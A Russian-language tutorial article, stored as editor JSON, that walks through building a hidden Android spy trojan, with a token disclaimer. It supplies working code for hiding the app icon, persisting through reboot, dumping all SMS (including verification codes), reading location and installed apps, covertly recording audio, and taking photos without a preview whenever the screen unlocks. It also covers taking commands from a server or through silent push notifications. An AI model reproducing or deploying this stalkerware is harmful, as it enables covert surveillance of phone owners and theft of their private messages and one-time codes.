{"draftJsState":{"blocks":[{"data":{"image":{"id":"5f776cca61e6d41ef5fb9563"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"atomic:image","key":"d7lqi"},{"data":{},"depth":0,"entityRanges":[{"key":0,"length":8,"offset":75}],"inlineStyleRanges":[],"text":"Android принято называть рассадником вирусов и бэкдоров. Каждый день здесь выявляют более 8 тысяч новых образцов малвари. И эти цифры постоянно растут. Но задумывался ли ты, как эта малварь работает? Сегодня мы разберемся с этим, изучив приложение для Android, способное собирать информацию об устройстве, его местоположении, делать фотографии и записывать аудио. И все это с удаленным управлением.","type":"unstyled","key":"dipe0"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":117,"offset":0,"style":"ITALIC"}],"text":"Дисклеймер: Статья предоставлена исключительно в ознакомительных целях. Мы не несём ответственность за ваши действия!","type":"blockquote","key":"6ugq9"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Итак, наша задача — разобраться, как работают современные зловредные приложения. А лучший способ это сделать — посмотреть, как создается похожий софт. Как и боевой зловред, наш пример при желании сможет наблюдать за целевым устройством и передавать информацию о нем на сервер.","type":"unstyled","key":"d8dlo"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":28,"offset":0,"style":"BOLD"}],"text":"Возможности будут следующие:","type":"unstyled","key":"bcn5u"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"сбор информации о местоположении;","type":"unordered-list-item","key":"tsu6"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"получение списка установленных приложений;","type":"unordered-list-item","key":"c7nsq"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"получение СМС;","type":"unordered-list-item","key":"d21d4"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"запись аудио;","type":"unordered-list-item","key":"vlc6"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"съемка задней или фронтальной камерой.","type":"unordered-list-item","key":"b80a8"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Все это приложение будет отправлять на удаленный сервер, где мы сможем проанализировать результаты его работы.","type":"unstyled","key":"b9104"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Каркас","type":"header-three","key":"cd5tn"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"По понятным причинам я не смогу привести полный код приложения в статье, поэтому некоторые задачи тебе придется выполнить самому (для этого потребуются кое-какие знания в разработке приложений для Android).","type":"unstyled","key":"olfq"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"На этом этапе задача следующая: создать приложение с пустым (или просто безобидным) интерфейсом. Сразу после запуска приложение скроет свою иконку, запустит сервис и завершится (сервис при этом будет продолжать работать).","type":"unstyled","key":"8cdio"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Начнем. Создай приложение, указав в манифесте следующие разрешения:","type":"unstyled","key":"798fh"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":696,"offset":0,"style":"BOLD"}],"text":"\n\n\n\n\n\n\n\n\n","type":"unstyled","key":"a0os4"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":14,"offset":0,"style":"BOLD"},{"length":43,"offset":20,"style":"BOLD"}],"text":"В build.gradle укажи compileSdkVersion 22 и targetSdkVersion 22. Так ты избавишь приложение от необходимости запрашивать разрешения во время работы (22 — это Android 5.1, обязательный запрос разрешений появился в 23 — Android 6.0, но работать приложение будет в любой версии).","type":"unstyled","key":"3dcf9"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Создай пустую Activity и Service. В метод onStartCommand сервиса добавь строку return Service.START_STICKY. Это заставит систему перезапускать его в случае непреднамеренного завершения.","type":"unstyled","key":"9ubvo"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Добавь их описание в манифест (здесь и далее наше приложение будет называться com.example.app):","type":"unstyled","key":"2g5kt"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":404,"offset":0,"style":"BOLD"}],"text":"\n \n \n \n \n\n\n\n","type":"unstyled","key":"fuuma"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Всю злобную работу мы будем делать внутри сервиса, поэтому наша Activity будет очень проста:","type":"unstyled","key":"2p6gf"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":401,"offset":0,"style":"BOLD"}],"text":"void onCreate(Bundle savedInstanceState) {\n super.onCreate(savedInstanceState)\n\n // Запускаем сервис\n startService(new Intent(this, MainService.class));\n\n // Отключаем Activity\n ComponentName cn = new ComponentName(\"com.example.app\", \"com.example.app.MainActivity\");\n pm.setComponentEnabledSetting(cn, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);\n}","type":"unstyled","key":"1onad"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Этот код запустит сервис сразу после запуска приложения и отключит активность. Побочным эффектом последнего действия станет завершение приложения и исчезновение иконки из лаунчера. Сервис продолжит работу.","type":"unstyled","key":"1rt92"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Информация о местоположении","type":"header-three","key":"cu3gn"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Теперь мы должны добавить в сервис код, который будет собирать интересующую нас информацию.","type":"unstyled","key":"aj7bs"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Начнем с определения местоположения. В Android есть несколько способов получить текущие координаты устройства: GPS, по сотовым вышкам, по Wi-Fi-роутерам. И с каждым из них можно работать двумя способами: либо попросить систему определить текущее местоположение и вызвать по окончании операции наш колбэк, либо спросить ОС о том, какие координаты были получены в последний раз (в результате запросов на определение местоположения от других приложений, например).","type":"unstyled","key":"dtrrd"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"В нашем случае второй способ намного удобнее. Он быстрый, абсолютно незаметен для пользователя (не приводит к появлению иконки в строке состояния) и не жрет аккумулятор. Кроме того, его очень просто использовать:","type":"unstyled","key":"39sqg"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":798,"offset":0,"style":"BOLD"}],"text":"Location getLastLocation(Context context) {\n LocationManager lManager = (LocationManager) context.getSystemService(Context.LOCATION_SERVICE);\n\n android.location.Location locationGPS = lManager.getLastKnownLocation(LocationManager.GPS_PROVIDER);\n android.location.Location locationNet = lManager.getLastKnownLocation(LocationManager.NETWORK_PROVIDER);\n\n long GPSLocationTime = 0;\n if (null != locationGPS) { GPSLocationTime = locationGPS.getTime(); }\n\n long NetLocationTime = 0;\n if (null != locationNet) { NetLocationTime = locationNet.getTime(); }\n\n Location loc;\n if ( 0 < GPSLocationTime - NetLocationTime ) {\n loc = locationGPS;\n } else {\n loc = locationNet;\n }\n\n if (loc != null) {\n return loc;\n } else {\n return null;\n }\n}","type":"unstyled","key":"fvjkg"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Данная функция спрашивает систему о последних координатах, полученных с помощью определения местоположения по сотовым вышкам и по GPS, затем берет самые свежие данные и возвращает их в форме объекта Location.","type":"unstyled","key":"dfpum"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Далее можно извлечь широту и долготу и записать их в файл внутри приватного каталога нашего приложения:","type":"unstyled","key":"cv7of"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":385,"offset":0,"style":"BOLD"}],"text":"Location loc = getLastKnownLocation(context)\nString locationFile = context.getApplicationInfo().dataDir + \"/location\"\n\ntry {\n OutputStreamWriter outputStreamWriter = new OutputStreamWriter(context.openFileOutput(locationFile, Context.MODE_PRIVATE));\n outputStreamWriter.write(loc.getLatitude() + \" \" + loc.getLongitude);\n outputStreamWriter.close();\n}\ncatch (IOException e) {}","type":"unstyled","key":"5d1p4"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Когда придет время отправлять данные на сервер, мы просто отдадим ему этот и другие файлы.","type":"unstyled","key":"1iait"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Список установленных приложений","type":"header-three","key":"c2dod"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Получить список установленных приложений еще проще:","type":"unstyled","key":"abu1s"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":728,"offset":0,"style":"BOLD"}],"text":"void dumpSMS(Context context) {\n String appsFile = context.getApplicationInfo().dataDir + \"/apps\"\n\n final PackageManager pm = context.getPackageManager();\n List packages = pm.getInstalledApplications(PackageManager.GET_META_DATA);\n\n try {\n PrintWriter pw = Files.writeLines(appsFile);\n\n for (ApplicationInfo packageInfo : packages) {\n if (!isSystemPackage(packageInfo))\n pw.println(pm.getApplicationLabel(packageInfo) + \": \" + packageInfo.packageName);\n }\n\n pw.close();\n } catch (IOException e) {}\n}\n\nprivate boolean isSystemPackage(ApplicationInfo applicationInfo) {\n return ((applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0);\n}","type":"unstyled","key":"bmnbt"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Метод получает список всех приложений и сохраняет его в файл apps внутри приватного каталога приложения.","type":"unstyled","key":"aqueh"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Дамп СМС","type":"header-three","key":"6d7m4"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Уже сложнее. Чтобы получить список всех сохраненных СМС, нам необходимо подключиться к БД и пройтись по ней в поисках нужных записей. Код, позволяющий дампнуть все СМС в файл:","type":"unstyled","key":"cdqf"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":1712,"offset":0,"style":"BOLD"}],"text":"void dumpSMS(Context context, String file, String box) {\n SimpleDateFormat formatter = new SimpleDateFormat(\"yyyy.MM.dd HH:mm:ss\", Locale.US);\n\n Cursor cursor = context.getContentResolver().query(Uri.parse(\"content://sms/\" + box), null, null, null, null);\n\n try {\n PrintWriter pw = Files.writeLines(file);\n\n if (cursor != null && cursor.moveToFirst()) {\n do {\n String address = null;\n String date = null;\n String body = null;\n\n for (int idx = 0; idx < cursor.getColumnCount(); idx++) {\n switch (cursor.getColumnName(idx)) {\n case \"address\":\n address = cursor.getString(idx);\n break;\n case \"date\":\n date = cursor.getString(idx);\n break;\n case \"body\":\n body = cursor.getString(idx);\n }\n }\n\n if (box.equals(\"inbox\")) {\n pw.println(\"From: \" + address);\n } else {\n pw.println(\"To: \" + address);\n }\n\n String dateString = formatter.format(new Date(Long.valueOf(date)));\n\n pw.println(\"Date: \" + dateString);\n\n if (body != null) {\n pw.println(\"Body: \" + body.replace('\\n', ' '));\n } else {\n pw.println(\"Body: \");\n }\n\n pw.println();\n } while (cursor.moveToNext());\n }\n pw.close();\n cursor.close();\n } catch (Exception e) {}\n}","type":"unstyled","key":"8b185"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":29,"offset":0,"style":"BOLD"}],"text":"Использовать его следует так:","type":"unstyled","key":"b2f20"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":291,"offset":1,"style":"BOLD"}],"text":"// Сохраняем список всех полученных СМС\nString inboxFile = context.getApplicationInfo().dataDir + \"/sms_inbox\"\ndumpSMS(context, inboxFile, \"inbox\");\n\n// Сохраняем список отправленных СМС\nString sentFile = context.getApplicationInfo().dataDir + \"/sms_sent\";\ndumpSMS(context, sentFile, \"sent\");","type":"unstyled","key":"bqdml"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":44,"offset":0,"style":"BOLD"}],"text":"Записи в файле будут выглядеть примерно так:","type":"unstyled","key":"f7lgv"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":87,"offset":0,"style":"BOLD"}],"text":"From: Google\nDate: 2017.02.24 06:49:55\nBody: G-732583 is your Google verification code.","type":"unstyled","key":"9ah7s"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Запись аудио","type":"header-three","key":"7rq5f"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Записать аудио с микрофона можно с помощью API MediaRecorder. Достаточно передать ему параметры записи и запустить ее с помощью метода start(). Остановить запись можно с помощью метода stop(). Следующий код демонстрирует, как это сделать. В данном случае мы используем отдельный спящий поток, который просыпается по истечении заданного тайм-аута и останавливает запись:","type":"unstyled","key":"etrv4"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":816,"offset":0,"style":"BOLD"}],"text":"void recordAudio(String file, final int time) {\n MediaRecorder recorder = new MediaRecorder();\n\n recorder.setAudioSource(MediaRecorder.AudioSource.MIC);\n recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);\n recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);\n recorder.setOutputFile(file);\n\n try {\n recorder.prepare();\n } catch (IOException e) {}\n\n recorder.start();\n\n Thread timer = new Thread(new Runnable() {\n @Override\n public void run() {\n try {\n Thread.sleep(time * 1000);\n } catch (InterruptedException e) {\n Log.d(TAG, \"timer interrupted\");\n } finally {\n recorder.stop();\n recorder.release();\n }\n }\n });\n\n timer.start();\n}","type":"unstyled","key":"742lt"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":38,"offset":0,"style":"BOLD"}],"text":"Использовать его можно, например, так:","type":"unstyled","key":"aua6k"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":237,"offset":0,"style":"BOLD"}],"text":"DateFormat formatter = new SimpleDateFormat(\"yyyy-MM-dd-HH-mm-ss\", Locale.US);\nDate date = new Date();\n\nString filePrefix = context.getApplicationInfo().dataDir + \"/audio-\";\n\nrecordAudio(filePrefix + formatter.format(date) + \".3gp\", 15);","type":"unstyled","key":"9v3t6"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Данный код сделает 15-секундную запись и поместит ее в файл audio-ДАТА-И-ВРЕМЯ.3gp.","type":"unstyled","key":"evuop"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Съемка","type":"header-three","key":"68sfo"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"С камерой сложнее всего. Во-первых, по-хорошему необходимо уметь работать сразу с двумя API камеры: классическим и Camera2, который появился в Android 5.0 и стал основным в 7.0. Во-вторых, API Camera2 часто работает некорректно в Android 5.0 и даже в Android 5.1, к этому нужно быть готовым. В-третьих, Camera2 — сложный и запутанный API, основанный на колбэках, которые вызываются в момент изменения состояния камеры. В-четвертых, ни в классическом API камеры, ни в Camera2 нет средств для скрытой съемки. Они оба требуют показывать превью, и это ограничение придется обходить с помощью хаков.","type":"unstyled","key":"6tg85"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Учитывая, что с Camera2 работать намного сложнее, а описать нюансы работы с ней в рамках данной статьи не представляется возможным, я просто приведу весь код класса для скрытой съемки. А ты можешь либо использовать его как есть, либо попробуешь разобраться с ним самостоятельно:","type":"unstyled","key":"6b6re"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":7372,"offset":0,"style":"BOLD"}],"text":"public class SilentCamera2 {\n private Context context;\n private CameraDevice device;\n private ImageReader imageReader;\n private CameraCaptureSession session;\n private SurfaceTexture surfaceTexture;\n private CameraCharacteristics characteristics;\n private Surface previewSurface;\n private CaptureRequest.Builder request;\n private Handler handler;\n\n private String photosDir;\n\n public SilentCamera2(Context context) {\n this.context = context;\n }\n\n private final CameraDevice.StateCallback mStateCallback =\n new CameraDevice.StateCallback() {\n @Override\n public void onOpened(CameraDevice cameraDevice) {\n device = cameraDevice;\n\n try {\n surfaceTexture = new SurfaceTexture(10);\n previewSurface = new Surface(surfaceTexture);\n\n List surfaceList = new ArrayList<>();\n surfaceList.add(previewSurface);\n surfaceList.add(imageReader.getSurface());\n\n cameraDevice.createCaptureSession(surfaceList, mCaptureStateCallback, handler);\n } catch (Exception e) {\n }\n }\n\n @Override\n public void onDisconnected(CameraDevice cameraDevice) {\n\n }\n\n @Override\n public void onError(CameraDevice cameraDevice, int error) {\n\n }\n };\n\n private CameraCaptureSession.StateCallback mCaptureStateCallback =\n new CameraCaptureSession.StateCallback() {\n @Override\n public void onConfigured(CameraCaptureSession captureSession) {\n session = captureSession;\n\n try {\n request = device.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);\n request.addTarget(previewSurface);\n\n request.set(CaptureRequest.CONTROL_AF_TRIGGER,\n CameraMetadata.CONTROL_AF_TRIGGER_START);\n\n captureSession.setRepeatingRequest(request.build(), mCaptureCallback, handler);\n } catch (Exception e) {\n }\n }\n\n @Override\n public void onConfigureFailed(CameraCaptureSession mCaptureSession) {}\n };\n\n private CameraCaptureSession.CaptureCallback mCaptureCallback =\n new CameraCaptureSession.CaptureCallback() {\n @Override\n public void onCaptureCompleted(CameraCaptureSession session,\n CaptureRequest request,\n TotalCaptureResult result) {\n }\n };\n\n private final ImageReader.OnImageAvailableListener mOnImageAvailableListener =\n new ImageReader.OnImageAvailableListener() {\n @Override\n public void onImageAvailable(ImageReader reader) {\n DateFormat dateFormat = new SimpleDateFormat(\"yyyy-MM-dd-HH-mm-ss\");\n Date date = new Date();\n\n String filename = photosDir + \"/\" + dateFormat.format(date) + \".jpg\";\n File file = new File(filename);\n\n Image image = imageReader.acquireLatestImage();\n\n try {\n ByteBuffer buffer = image.getPlanes()[0].getBuffer();\n byte[] bytes = new byte[buffer.remaining()];\n buffer.get(bytes);\n\n OutputStream os = new FileOutputStream(file);\n os.write(bytes);\n\n image.close();\n os.close();\n } catch (Exception e) {\n e.getStackTrace();\n }\n\n closeCamera();\n }\n };\n\n private void takePicture() {\n request.set(CaptureRequest.JPEG_ORIENTATION, getOrientation());\n\n request.addTarget(imageReader.getSurface());\n try {\n session.capture(request.build(), mCaptureCallback, handler);\n } catch (CameraAccessException e) {\n }\n }\n\n private void closeCamera() {\n try {\n if (null != session) {\n session.abortCaptures();\n session.close();\n session = null;\n }\n if (null != device) {\n device.close();\n device = null;\n }\n if (null != imageReader) {\n imageReader.close();\n imageReader = null;\n }\n if (null != surfaceTexture) {\n surfaceTexture.release();\n }\n } catch (Exception e) {\n }\n }\n\n public boolean takeSilentPhoto(String cam, String dir) {\n photosDir = dir;\n int facing;\n\n switch (cam) {\n case \"front\":\n facing = CameraCharacteristics.LENS_FACING_FRONT;\n break;\n case \"back\":\n facing = CameraCharacteristics.LENS_FACING_BACK;\n break;\n default:\n return false;\n }\n\n CameraManager manager = (CameraManager)\n context.getSystemService(Context.CAMERA_SERVICE);\n\n String cameraId = null;\n characteristics = null;\n\n try {\n for (String id : manager.getCameraIdList()) {\n characteristics = manager.getCameraCharacteristics(id);\n Integer currentFacing = characteristics.get(CameraCharacteristics.LENS_FACING);\n if (currentFacing != null && currentFacing == facing) {\n cameraId = id;\n break;\n }\n }\n } catch (Exception e) {\n return false;\n }\n\n HandlerThread handlerThread = new HandlerThread(\"CameraBackground\");\n handlerThread.start();\n handler = new Handler(handlerThread.getLooper());\n\n imageReader = ImageReader.newInstance(1920,1080, ImageFormat.JPEG, 2);\n imageReader.setOnImageAvailableListener(mOnImageAvailableListener, handler);\n\n try {\n manager.openCamera(cameraId, mStateCallback, handler);\n // Ждем фокусировку\n Thread.sleep(1000);\n takePicture();\n } catch (Exception e) {\n Log.d(TAG, \"Can't open camera: \" + e.toString());\n return false;\n }\n\n return true;\n }\n\n private int getOrientation() {\n WindowManager wm = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE);\n int rotation = wm.getDefaultDisplay().getRotation();\n int deviceOrientation = 0;\n\n switch(rotation){\n case Surface.ROTATION_0:\n deviceOrientation = 0;\n break;\n case Surface.ROTATION_90:\n deviceOrientation = 90;\n break;\n case Surface.ROTATION_180:\n deviceOrientation = 180;\n break;\n case Surface.ROTATION_270:\n deviceOrientation = 270;\n break;\n }\n\n int sensorOrientation = characteristics.get(CameraCharacteristics.SENSOR_ORIENTATION);\n deviceOrientation = (deviceOrientation + 45) / 90 * 90;\n boolean facingFront = characteristics.get(CameraCharacteristics.LENS_FACING) == CameraCharacteristics.LENS_FACING_FRONT;\n if (facingFront) deviceOrientation = -deviceOrientation;\n return (sensorOrientation + deviceOrientation + 360) % 360;\n }\n}","type":"unstyled","key":"5mvcs"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Этот код следует вызывать в отдельном потоке, передав в качестве аргументов место расположения камеры («front» — передняя, «back» — задняя) и каталог, в который будут сохранены фотографии. В качестве имен файлов будет использована текущая дата и время.","type":"unstyled","key":"31sls"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"String cameraDir = context.getApplicationInfo().dataDir + \"/camera/\"\ncamera.takeSilentPhoto(\"front\", cameraDir);","type":"unstyled","key":"6gb5s"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Складываем все вместе","type":"header-three","key":"5kieo"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"С этого момента у нас есть каркас приложения, который запускает сервис и скрывает свое присутствие. Есть набор функций и классов, которые позволяют собирать информацию о смартфоне и его владельце, а также скрыто записывать аудио и делать фото. Теперь нужно разобраться, когда и при каких обстоятельствах их вызывать.","type":"unstyled","key":"68uui"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Если мы просто засунем вызов всех этих функций в сервис, то получим бесполезное «одноразовое приложение». Сразу после запуска оно узнает информацию о местоположении, получит список приложений, СМС, сделает запись аудио, снимок, сохранит все это в файлы в своем приватном каталоге и уснет. Оно даже не запустится после перезагрузки.","type":"unstyled","key":"10ciu"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Гораздо более полезным оно станет, если определение местоположения, дамп приложений и СМС будет происходить по расписанию (допустим, раз в полчаса), снимок экрана — при каждом включении устройства, а запись аудио — по команде с сервера.","type":"unstyled","key":"dm1fd"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Задания по расписанию","type":"header-three","key":"85v4g"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Чтобы заставить Android выполнять код нашего приложения через определенные интервалы времени, можно использовать AlarmManager. Для начала напишем такой класс:","type":"unstyled","key":"24l8q"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":564,"offset":0,"style":"BOLD"}],"text":"public class Alarm extends BroadcastReceiver {\n public static void set(Context context) {\n AlarmManager am = (AlarmManager) context.getSystemService(Context.ALARM_SERVICE);\n Intent intent = new Intent(context, Alarm.class);\n PendingIntent pIntent = PendingIntent.getBroadcast(context, 0, intent, 0);\n am.setInexactRepeating(AlarmManager.ELAPSED_REALTIME_WAKEUP, SystemClock.elapsedRealtime(), 30 * 60 * 1000, pIntent);\n }\n\n @Override\n public void onReceive(Context context, Intent intent) {\n // Твой код здесь\n }\n}","type":"unstyled","key":"egvdq"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Метод set() установит «будильник», срабатывающий каждые тридцать минут и запускающий метод onReceive(). Именно в него ты должен поместить код, скидывающий местоположение, СМС и список приложений в файлы.","type":"unstyled","key":"72q6b"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"В метод onCreate() сервиса добавь следующую строку:","type":"unstyled","key":"e122m"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Alarm.set(this)","type":"unstyled","key":"3g279"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Снимок при включении экрана","type":"header-three","key":"5fc7i"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Бессмысленно делать снимок каждые полчаса. Гораздо полезнее делать снимок передней камерой при разблокировке смартфона (сразу видно, кто его использует). Чтобы реализовать такое, создай класс ScreenOnReceiver:","type":"unstyled","key":"b8k1q"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":153,"offset":0,"style":"BOLD"}],"text":"class ScreenOnReceiver extends BroadcastReceiver() {\n @Override\n void onReceive(Context context, Intent intent) {\n // Твой код здесь\n }\n}","type":"unstyled","key":"86cu8"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":37,"offset":0,"style":"BOLD"}],"text":"И добавь в манифест следующие строки:","type":"unstyled","key":"a2hnf"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":184,"offset":0,"style":"BOLD"}],"text":"\n \n \n \n","type":"unstyled","key":"92rt3"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Запуск при загрузке","type":"header-three","key":"avfrd"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"В данный момент у нашего приложения есть одна большая проблема — оно будет работать ровно до тех пор, пока юзер не перезагрузит смартфон. Чтобы перезапускать сервис при загрузке смартфона, создадим еще один ресивер:","type":"unstyled","key":"5rt0m"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":228,"offset":0,"style":"BOLD"}],"text":"class BootReceiver extends BroadcastReceiver() {\n @Override\n void onReceive(Context context, Intent intent) {\n Intent serviceIntent = new Intent(this, MainService.class);\n startService(serviceIntent);\n }\n}","type":"unstyled","key":"c8qic"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":34,"offset":0,"style":"BOLD"}],"text":"И опять же добавим его в манифест:","type":"unstyled","key":"4n123"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":174,"offset":0,"style":"BOLD"}],"text":"\n \n \n \n","type":"unstyled","key":"btq0g"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Запись аудио по команде","type":"header-three","key":"736bh"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"С этим немного сложнее. Самый простой способ отдать команду нашему трояну — записать ее в обычный текстовый файл и выложить этот файл на сервере. Затем поместить в сервис код, который будет, допустим, каждую минуту чекать сервер на наличие файла и выполнять записанную в нем команду.","type":"unstyled","key":"59q4r"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":40,"offset":0,"style":"BOLD"}],"text":"В коде это может выглядеть примерно так:","type":"unstyled","key":"6mlsa"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":429,"offset":0,"style":"BOLD"}],"text":"String url = \"http://example.com/cmd\"\nOkHttpClient client = new OkHttpClient();\nRequest request = new Request.Builder().url(url).build();\n\nwhile (true) {\n Response response = client.newCall(request).execute();\n String cmd = response.body().string();\n cmd = cmd.trim()\n if (cmd.equals(\"record\")) {\n // Делаем аудиозапись\n }\n try {\n Thread.sleep(60 * 1000);\n } catch (InterruptedException e) {}\n}","type":"unstyled","key":"9uvcb"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Конечно же, у этого кода есть проблема — если ты один раз запишешь команду в файл на сервере, троян будет выполнять ее каждую минуту. Чтобы этого избежать, достаточно добавить в файл числовой префикс в формате «X:команда» и увеличивать этот префикс при каждой записи команды. Троян же должен сохранять это число и выполнять команду только в том случае, если оно увеличилось.","type":"unstyled","key":"c5da6"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Гораздо хуже, что твой троян будет заметно жрать батарею. А Android (начиная с шестой версии) будет его в этом ограничивать, закрывая доступ в интернет.","type":"unstyled","key":"9q3ed"},{"data":{},"depth":0,"entityRanges":[{"key":1,"length":9,"offset":73}],"inlineStyleRanges":[],"text":"Чтобы избежать этих проблем, можно использовать сервис push-уведомлений. OneSignal отлично подходит на эту роль. Он бесплатен и очень прост в использовании. Зарегистрируйся в сервисе, добавь новое приложение и следуй инструкциям, в конце тебе скажут, какие строки необходимо добавить в build.gradle приложения, а также попросят создать класс вроде этого:","type":"unstyled","key":"8a98b"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":148,"offset":0,"style":"BOLD"}],"text":"class App extends Application {\n @Override\n public void onCreate() {\n super.onCreate()\n OneSignal.startInit(this).init()\n }\n}","type":"unstyled","key":"7r91a"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Но это еще не все. Также тебе нужен сервис — обработчик push-уведомлений, который будет принимать их и выполнять действия в зависимости от содержащихся в push-уведомлении данных:","type":"unstyled","key":"4orsv"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":362,"offset":1,"style":"BOLD"}],"text":"class OSService extends NotificationExtenderService {\n @Override\n protected boolean onNotificationProcessing(OSNotificationReceivedResult receivedResult) {\n String cmd = receivedResult.payload.body.trim()\n if (cmd.equals(\"record\")) {\n // Делаем аудиозапись\n }\n\n // Не показывать уведомление\n return true\n }\n}","type":"unstyled","key":"aqbf9"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Этот код трактует содержащуюся в уведомлении строку как команду и, если эта команда — record, выполняет нужный нам код. Само уведомление не появится на экране, поэтому пользователь ничего не заметит.","type":"unstyled","key":"4cbsb"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Последний штрих — добавим сервис в манифест:","type":"unstyled","key":"a4tum"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":212,"offset":0,"style":"BOLD"}],"text":"\n \n \n 